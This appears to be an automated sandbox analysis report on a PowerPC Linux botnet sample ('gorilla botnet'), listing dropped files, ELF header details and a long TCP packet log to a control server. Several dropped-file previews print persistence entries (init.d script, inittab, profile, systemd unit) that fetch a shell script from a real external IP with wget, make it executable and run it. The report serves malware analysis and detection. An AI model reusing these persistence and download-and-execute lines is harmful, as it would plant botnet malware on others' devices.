                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):123
                                                          Entropy (8bit):4.672165863132152
                                                          Encrypted:false
                                                          SSDEEP:3:KPJRXgzpJDFDDoCvLdjX48FIbILbaaFOdFXa5O:WJRgrZfoYZX48bbaaeXCO
                                                          MD5:24CF061CD47CFE8C75DB6676518F74D5
                                                          SHA1:B7B31F856898E3C4FD230FB98B4502AD48E5BCF2
                                                          SHA-256:01868376EC7594B93C681375FF68B282754FE0FF0DAE3F28FCE4AFD5C2585230
                                                          SHA-512:1EC140880884617159116C9D935161713F866C396ABAA55DDE585049BB0B0BCF2D87B10EA5858966AB5FC2E801A09BE1954B007B5E61CF016A49559E3740635C
                                                          Malicious:false
                                                          Reputation:low
                                                          Preview:run bootcmd_mmc0; /tmp/powerpc.nn.elf && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

                                                          /etc/init.d/powerpc.nn.elf

                                                          Download File
                                                          Process:/bin/sh
                                                          File Type:POSIX shell script, ASCII text executable
                                                          Category:dropped
                                                          Size (bytes):415
                                                          Entropy (8bit):4.554375495033763
                                                          Encrypted:false
                                                          SSDEEP:12:QRkgXNxrxPUJgjvMrF+uKN+dRRucSOyd3:6xcIYFYOM3
                                                          MD5:2B49716B90C4794A5112626394AAC35B
                                                          SHA1:E734C250DC83EA8C6A599429E682305F00267E72
                                                          SHA-256:20BA051351401F763941526E30F1085565E44AB4A0175BDB0ED1F8B542952326
                                                          SHA-512:540EE83B448FB56FD40D7A85BCCE8DBBB335A1F7C9A19E902BD4947E4C48415EDA97B20C474F06872A40D4BB97E124A55716ED1793C883F1E0BA54C942F9905E
                                                          Malicious:true
                                                          Joe Sandbox View:
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          Reputation:low
                                                          Preview:#!/bin/sh.# /etc/init.d/powerpc.nn.elf..case "" in. start). echo 'Starting powerpc.nn.elf'. /tmp/powerpc.nn.elf &. wget http://94.156.227.233/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping powerpc.nn.elf'. killall powerpc.nn.elf. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start|stop|restart}". exit 1. ;;.esac.exit 0.

                                                          /etc/init.d/system

                                                          Download File
                                                          Process:/tmp/powerpc.nn.elf
                                                          File Type:POSIX shell script, ASCII text executable
                                                          Category:dropped
                                                          Size (bytes):110
                                                          Entropy (8bit):4.67849595818307
                                                          Encrypted:false
                                                          SSDEEP:3:TKH4vZKgzpJDFDvSDRFiLdjX48FIbILpaKB0dFLoKE0:h8grZzSXoZX48bzBeLXE0
                                                          MD5:A10B77AC5627BFC12F77526AFD08AFC6
                                                          SHA1:D63F643B9C52313B30D72EDC40956E0EB1E423F3
                                                          SHA-256:009E4AD29CB810013486E42A82EAB92ED581D785183B928BF5B3D78E14FAC3ED
                                                          SHA-512:5850697B80EA513178BF61F9AE4CCB4EAC65180F32DAF3093B62BE1A63ED322F902C09B8CA0207925917765DA4D0FEAFCBB55D076E0B3C6EDD7E3C3A9380DB6A
                                                          Malicious:true
                                                          Joe Sandbox View:
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          • Filename: powerpc.nn.elf, Detection: malicious, Browse
                                                          Reputation:low
                                                          Preview:#!/bin/sh./tmp/powerpc.nn.elf &.wget http://94.156.227.233/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

                                                          /etc/inittab

                                                          Download File
                                                          Process:/tmp/powerpc.nn.elf
                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):115
                                                          Entropy (8bit):4.601891586136072
                                                          Encrypted:false
                                                          SSDEEP:3:nAWu52zpJDFDDoCvLdjX48FIbILbaaFOdFXa5O:AorZfoYZX48bbaaeXCO
                                                          MD5:8BC2DAFF4FBE1AA05CC244B3EE644998
                                                          SHA1:22DBCB7079F1AB37946571C8117CC7EE6A16486A
                                                          SHA-256:FE7C40501878157401069E2370ADDE3CFC730F7A1A45B83E6B9CAAD5DC083135
                                                          SHA-512:631A6A747F2E3998B5E01113EDD8AD29210FAEC40A2A58EC95B4330A0934C361B2CFFC06E6A4D71CC298792C6F85BFFB76AE9EC6979A06751A6EC1BDCED50125
                                                          Malicious:false
                                                          Reputation:low
                                                          Preview:::respawn:/tmp/powerpc.nn.elf && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

                                                          /etc/motd

                                                          Download File
                                                          Process:/tmp/powerpc.nn.elf
                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):53
                                                          Entropy (8bit):3.871459242626451
                                                          Encrypted:false
                                                          SSDEEP:3:yGKtARxFQFrgBJ4BJ+3e:dQ0EcHG2e
                                                          MD5:2BD9B4BE30579E633FC0191AA93DF486
                                                          SHA1:7D63A9BD9662E86666B27C1B50DB8E7370C624FF
                                                          SHA-256:64DC39F3004DC93C9FC4F1467B4807F2D8E3EB0BFA96B15C19CD8E7D6FA77A1D
                                                          SHA-512:AE6DD7B39191354CF43CF65E517460D7D4C61B8F5C08E33E6CA3C451DC7CAB4DE89F33934C89396B80F1AADE0A4E2571BD5AE8B76EF80B737D4588703D2814D5
                                                          Malicious:false
                                                          Preview:gorilla botnet is on the device ur not a cat go away.

                                                          /etc/profile

                                                          Download File
                                                          Process:/tmp/powerpc.nn.elf
                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):106
                                                          Entropy (8bit):4.5235307573239725
                                                          Encrypted:false
                                                          SSDEEP:3:TggzpJDFDvSDRFiLdjX48FIbILbaaFOdFXa50:TggrZzSXoZX48bbaaeXC0
                                                          MD5:73CEEC0AFBC3F9015D380B7958409AAA
                                                          SHA1:1B9CDF1D381F84E717047B897ACE7321A234B3CD
                                                          SHA-256:AEA4108DEA38EAF1D5814897F628394F7DBEC8779BC9DD6FDBB6AD04DF49C520
                                                          SHA-512:BC72390BE9C983E99E96E8A36C74F994993092E661DF330DE32D4937AE9BCB5142A8CCAD8AD12E2D7ECA46010E0AA1D90174C06AF170EB5020B1F3C8D64F0395
                                                          Malicious:true
                                                          Preview:/tmp/powerpc.nn.elf &.wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh &.

                                                          /etc/rc.local

                                                          Download File
                                                          Process:/tmp/powerpc.nn.elf
                                                          File Type:POSIX shell script, ASCII text executable
                                                          Category:dropped
                                                          Size (bytes):10
                                                          Entropy (8bit):3.121928094887362
                                                          Encrypted:false
                                                          SSDEEP:3:TKH4vn:hv
                                                          MD5:3E2B31C72181B87149FF995E7202C0E3
                                                          SHA1:BD971BEC88149956458A10FC9C5ECB3EB99DD452
                                                          SHA-256:A8076D3D28D21E02012B20EAF7DBF75409A6277134439025F282E368E3305ABF
                                                          SHA-512:543F39AF1AE7A2382ED869CBD1EE1AC598A88EB4E213CD64487C54B5C37722C6207EE6DB4FA7E2ED53064259A44115C6DA7BBC8C068378BB52A25E7088EEEBD6
                                                          Malicious:true
                                                          Antivirus:
                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                          Preview:#!/bin/sh.

                                                          /etc/systemd/system/custom.service

                                                          Download File
                                                          Process:/tmp/powerpc.nn.elf
                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):304
                                                          Entropy (8bit):5.057055886376161
                                                          Encrypted:false
                                                          SSDEEP:6:z8ifitRZAMzdK+Urz02+GWRdbZX48B+GWRo3UN2+GWRuLYACGX9LQmWA4Rv:zNitRZAOK+U/p+GWRdtd+GWRXY+GWRuO
                                                          MD5:A8C155BE67AEB37E3052E5D08F79445D
                                                          SHA1:8B3D20D941D9BC22C72CF40D85787532C4E85A8F
                                                          SHA-256:511A863FCA2BB515DF7617F59F8C9BF53643BC2B3D6EF673995B89747936B69D
                                                          SHA-512:178DE28DC835FB5ECF0B1EFEC33757480A934831A19D61891F4009DA170116E93704BAE05C994914E78875AC8A3ACB67F793D0869FFB54F2F9AAADE492A7A9AC
                                                          Malicious:false
                                                          Preview:[Unit].Description=Custom Binary and Payload Service.After=network.target..[Service].ExecStart=/tmp/powerpc.nn.elf.ExecStartPost=/usr/bin/wget -O /tmp/lol.sh http://94.156.227.233/.ExecStartPost=/bin/chmod +x /tmp/lol.sh.ExecStartPost=/tmp/lol.sh.Restart=on-failure..[Install].WantedBy=multi-user.target.

                                                          /memfd:snapd-env-generator (deleted)

                                                          Download File
                                                          Process:/usr/lib/systemd/system-environment-generators/snapd-env-generator
                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):76
                                                          Entropy (8bit):3.7627880354948586
                                                          Encrypted:false
                                                          SSDEEP:3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
                                                          MD5:D86A1F5765F37989EB0EC3837AD13ECC
                                                          SHA1:D749672A734D9DEAFD61DCA501C6929EC431B83E
                                                          SHA-256:85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
                                                          SHA-512:338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
                                                          Malicious:false
                                                          Preview:PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

                                                          /tmp/qemu-open.nxFfay (deleted)

                                                          Download File
                                                          Process:/tmp/powerpc.nn.elf
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):20
                                                          Entropy (8bit):3.684183719779189
                                                          Encrypted:false
                                                          SSDEEP:3:TggzpJDln:Tggr5n
                                                          MD5:3613970D3EE99A4E79418B3D50DD068E
                                                          SHA1:0924DD5DC5D93B8E039D25A958AB8F9B13716AF7
                                                          SHA-256:B161506DF184EF3F0AAB6A26EB9F22F81B6225876EC250AF1F8794A731C82F01
                                                          SHA-512:B3C0A28198FB6C862279CA2C39A3CCF910237A39861F9C62BD8818A855755E0F7A9C19B4306F77B0D9AD73C988570BE74A6AC22BDDA958D4A0C85D333EF4F9C1
                                                          Malicious:false
                                                          Preview:/tmp/powerpc.nn.elf.

                                                          Static File Info

                                                          General

                                                          File type:ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
                                                          Entropy (8bit):6.356146514005473
                                                          TrID:
                                                          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                          File name:powerpc.nn.elf
                                                          File size:87'812 bytes
                                                          MD5:8d61a53c4a55c321204fc33d83e11ef6
                                                          SHA1:c923fd93e615fc1f2628dc81b537496a47dc72aa
                                                          SHA256:a403c2dcbaa06bc3ae140ba54656d2312dd30b07f53c44c75d31eaf17b48b4c6
                                                          SHA512:aaa8036b3894d901ebc0f0dcfe1fc551208fdf0fa50d84adc003fda4f2d2f10c073fe21dfc7db51bb8f94831d292cff49437c238e7c6d07b24b8b7fd8e914bec
                                                          SSDEEP:1536:ZcNLwuA0fC6Z+HPT0p4SuLkNJp8ohqs3kyguoV14Reg5PEiH:+LB+HPT06Rk1NHbguvRdPEu
                                                          TLSH:17835B03731C0E43D1E759F02B3F57E193EAA99121E4BA88650EDB4A8276F365186FCD
                                                          File Content Preview:.ELF...........................4..U$.....4. ...(......................OP..OP..............P...P...P.......&.........dt.Q.............................!..|......$H...H.(....$8!. |...N.. .!..|.......?.........U@..../...@..\?.....P..+../...A..$8...})....P.N..

                                                          Static ELF Info

                                                          ELF header

                                                          Class:ELF32
                                                          Data:2's complement, big endian
                                                          Version:1 (current)
                                                          Machine:PowerPC
                                                          Version Number:0x1
                                                          Type:EXEC (Executable file)
                                                          OS/ABI:UNIX - System V
                                                          ABI Version:0
                                                          Entry Point Address:0x100001f0
                                                          Flags:0x0
                                                          ELF Header Size:52
                                                          Program Header Offset:52
                                                          Program Header Size:32
                                                          Number of Program Headers:3
                                                          Section Header Offset:87332
                                                          Section Header Size:40
                                                          Number of Section Headers:12
                                                          Header String Table Index:11

                                                          Sections

                                                          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                          NULL0x00x00x00x00x0000
                                                          .initPROGBITS0x100000940x940x240x00x6AX004
                                                          .textPROGBITS0x100000b80xb80x1291c0x00x6AX004
                                                          .finiPROGBITS0x100129d40x129d40x200x00x6AX004
                                                          .rodataPROGBITS0x100129f80x129f80x25580x00x2A008
                                                          .ctorsPROGBITS0x100250000x150000x80x00x3WA004
                                                          .dtorsPROGBITS0x100250080x150080x80x00x3WA004
                                                          .dataPROGBITS0x100250180x150180x4840x00x3WA008
                                                          .sdataPROGBITS0x1002549c0x1549c0x3c0x00x3WA004
                                                          .sbssNOBITS0x100254d80x154d80x680x00x3WA004
                                                          .bssNOBITS0x100255400x154d80x21ac0x00x3WA004
                                                          .shstrtabSTRTAB0x00x154d80x4b0x00x0001

                                                          Program Segments

                                                          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                          LOAD0x00x100000000x100000000x14f500x14f506.38960x5R E0x10000.init .text .fini .rodata
                                                          LOAD0x150000x100250000x100250000x4d80x26ec4.72530x6RW 0x10000.ctors .dtors .data .sdata .sbss .bss
                                                          GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

                                                          Network Behavior

                                                          Network Port Distribution

                                                          TCP Packets

                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Dec 24, 2024 04:29:59.819272995 CET4454638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:29:59.938982010 CET382424454694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:29:59.939064026 CET4454638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:29:59.939343929 CET4454638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:00.058978081 CET382424454694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:00.458990097 CET4454638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:00.626959085 CET382424454694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:01.063733101 CET382424454694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:01.063807011 CET4454638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:01.461725950 CET4454838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:01.581279039 CET382424454894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:01.581374884 CET4454838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:01.581374884 CET4454838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:01.700954914 CET382424454894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:02.086286068 CET4454838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:02.250929117 CET382424454894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:02.708339930 CET382424454894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:02.708410978 CET4454838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:03.087846041 CET4455038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:03.225003958 CET382424455094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:03.225069046 CET4455038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:03.225106955 CET4455038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:03.345674992 CET382424455094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:03.734935999 CET4455038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:03.895226002 CET382424455094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:04.351996899 CET382424455094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:04.352054119 CET4455038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:04.736840963 CET4455238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:04.856934071 CET382424455294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:04.856988907 CET4455238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:04.857017994 CET4455238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:04.976522923 CET382424455294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:05.361190081 CET4455238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:05.522969961 CET382424455294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:05.982848883 CET382424455294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:05.982913017 CET4455238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:06.362087965 CET4455438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:06.481677055 CET382424455494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:06.481734037 CET4455438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:06.481775045 CET4455438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:06.601177931 CET382424455494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:06.984807014 CET4455438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:07.147185087 CET382424455494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:07.600490093 CET382424455494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:07.600563049 CET4455438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:07.986534119 CET4455638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:08.106507063 CET382424455694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:08.106621027 CET4455638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:08.106672049 CET4455638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:08.226510048 CET382424455694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:08.611568928 CET4455638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:08.774962902 CET382424455694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:09.223514080 CET382424455694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:09.223583937 CET4455638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:09.613020897 CET4455838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:09.732671022 CET382424455894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:09.732777119 CET4455838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:09.732825994 CET4455838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:09.852371931 CET382424455894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:10.237577915 CET4455838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:10.440519094 CET382424455894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:10.862188101 CET382424455894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:10.862303972 CET4455838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:11.238889933 CET4456038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:11.358411074 CET382424456094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:11.358501911 CET4456038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:11.358597994 CET4456038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:11.478497028 CET382424456094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:11.863477945 CET4456038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:12.027036905 CET382424456094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:12.471376896 CET382424456094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:12.471448898 CET4456038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:12.864577055 CET4456238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:12.984136105 CET382424456294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:12.984196901 CET4456238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:12.984327078 CET4456238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:13.103859901 CET382424456294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:13.488521099 CET4456238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:13.650959015 CET382424456294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:14.117043972 CET382424456294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:14.117110968 CET4456238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:14.489799023 CET4456438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:14.609532118 CET382424456494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:14.609625101 CET4456438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:14.609708071 CET4456438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:14.729281902 CET382424456494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:15.113624096 CET4456438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:15.275008917 CET382424456494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:15.738030910 CET382424456494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:15.738109112 CET4456438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:16.114682913 CET4456638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:16.234319925 CET382424456694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:16.234411955 CET4456638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:16.234411955 CET4456638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:16.353982925 CET382424456694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:16.739033937 CET4456638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:16.902990103 CET382424456694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:17.357676029 CET382424456694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:17.357739925 CET4456638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:17.740173101 CET4456838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:17.859873056 CET382424456894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:17.859945059 CET4456838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:17.859988928 CET4456838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:17.979470015 CET382424456894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:18.364556074 CET4456838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:18.531091928 CET382424456894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:18.970777988 CET382424456894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:18.970860958 CET4456838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:19.366499901 CET4457038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:19.485997915 CET382424457094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:19.486068010 CET4457038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:19.486092091 CET4457038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:19.605566978 CET382424457094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:19.990581989 CET4457038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:20.155051947 CET382424457094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:20.611124039 CET382424457094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:20.611190081 CET4457038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:20.991801977 CET4457238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:21.111411095 CET382424457294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:21.111475945 CET4457238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:21.111639977 CET4457238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:21.231040001 CET382424457294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:21.615891933 CET4457238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:21.778970957 CET382424457294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:22.241861105 CET382424457294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:22.241920948 CET4457238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:22.617249966 CET4457438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:22.736778975 CET382424457494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:22.736862898 CET4457438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:22.736902952 CET4457438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:22.856450081 CET382424457494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:23.241092920 CET4457438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:23.406920910 CET382424457494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:23.864783049 CET382424457494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:23.864849091 CET4457438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:24.242300034 CET4457638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:24.361831903 CET382424457694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:24.361911058 CET4457638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:24.361939907 CET4457638242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:24.481479883 CET382424457694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:24.481714010 CET382424457694.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:25.565287113 CET4457838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:25.684777021 CET382424457894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:25.684845924 CET4457838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:25.684878111 CET4457838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:25.804483891 CET382424457894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:26.188898087 CET4457838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:26.350934029 CET382424457894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:26.806093931 CET382424457894.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:26.806169033 CET4457838242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:27.190057039 CET4458038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:27.309587955 CET382424458094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:27.309659958 CET4458038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:27.309709072 CET4458038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:27.429346085 CET382424458094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:27.813441038 CET4458038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:27.975007057 CET382424458094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:28.435539961 CET382424458094.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:28.435604095 CET4458038242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:28.814380884 CET4458238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:28.934712887 CET382424458294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:28.934773922 CET4458238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:28.934796095 CET4458238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:29.054562092 CET382424458294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:29.438251972 CET4458238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:29.603039026 CET382424458294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:30.062649012 CET382424458294.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:30.062726974 CET4458238242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:30.439217091 CET4458438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:30.558665037 CET382424458494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:30.558722973 CET4458438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:30.558743000 CET4458438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:30.678694963 CET382424458494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:31.062171936 CET4458438242192.168.2.1394.156.227.234
                                                          Dec 24, 2024 04:30:31.226969004 CET382424458494.156.227.234192.168.2.13
                                                          Dec 24, 2024 04:30:31.681432962 CET382424458494.156.227.234192.168.2.13
